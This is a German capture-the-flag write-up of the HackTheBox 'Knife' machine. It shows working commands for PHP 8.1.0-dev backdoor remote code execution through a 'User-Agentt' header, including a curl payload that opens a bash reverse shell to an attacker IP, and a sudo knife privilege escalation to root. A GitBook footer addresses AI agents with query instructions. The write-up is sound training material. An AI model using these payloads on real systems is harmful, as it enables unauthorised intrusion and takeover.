> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Fähigkeiten:

* PHP 8.1.0-dev - 'User-Agent' Remotecodeausführung (RCE)
* Ausnutzung des Sudoers-Privilegs (Knife-Binary) (Privilegienerweiterung)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2ab228f42d625d6d0c8ca6f7d21fe4d1cbe15b8f" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/6f16bcb48cc9d8744416e12ac5a21588287d7c01" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/f6e4c8865e90821476c089de85ecd65f76a3baa5" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22.80)

<figure><img src="/files/79c8dd8d7df8327e6baf0ec490f5793a1ac80010" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/4873b244da37b7278410c4375ca0ab08d6fa7b44" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/35f64aecc86f852a39e886fcd113aa236ddbb357" alt=""><figcaption></figcaption></figure>

Mit der **WhatWeb** Mit dem Tool identifizieren wir eine verwundbare Version von PHP:

```bash
whatweb http://10.10.10.242
# Ergebnis: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/1696f1a6a40319e50fe5466db8ce8a353ef7725d" alt=""><figcaption></figcaption></figure></div>

## **Ausnutzung - RCE über `User-Agent`**

Eine mit dem PHP-User-Agent dieser Version verbundene Schwachstelle wird identifiziert.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Eine Schwachstelle in `User-Agent` ermöglicht Remote Code Execution.

1. **Einfache Befehlsausführung**/ Sende eine HTTP-Anfrage mit einem modifizierten `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Ergebnis: Die Benutzergruppe `james` erscheint in der Antwort.

<figure><img src="/files/fbc17c0d764e7704b2420545889ef8e61a290718" alt=""><figcaption></figcaption></figure>

2. **Reverse Shell erhalten**/ Richte auf deinem Rechner einen Listener ein:

```bash
nc -nvlp 443
```

Sende dann den Befehl, um eine Reverse Shell auszuführen:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/c05f8f445e9c3028336e5dbe6a100e87aa731acb" alt=""><figcaption></figcaption></figure>

3. **Verbesserte Shell-Erfahrung**/ Mache das Terminal interaktiver :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge User.txt

<figure><img src="/files/8636387175dfa3beadca627520375a0275a525be" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

**Analyse der Sudo-Berechtigungen**

Durch Ausführen von `sudo -l`, beobachten wir, dass der Benutzer das `knife` Binary als Root ausführen kann:

<div data-full-width="true"><figure><img src="/files/6aecad80938510d35314da1ee147024d7f37be7f" alt=""><figcaption></figcaption></figure></div>

Diese Binärdatei wird auf GTFOBins als für Privilegienerweiterung nutzbar aufgeführt.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/207f7c5babe89bb2953d42c6a5097c39de928fb5" alt=""><figcaption></figcaption></figure>

**Ausnutzung**

Verwende den obigen Befehl, um eine Root-Shell zu erhalten.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/758a1bba5a16c18da794f0cd81c4bea0d4421cf9" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b396be8b12aa7623be0ce525ea13d84c18fa345a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/71d5298d8937180b25c2f472cc7751d1967dbd92" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
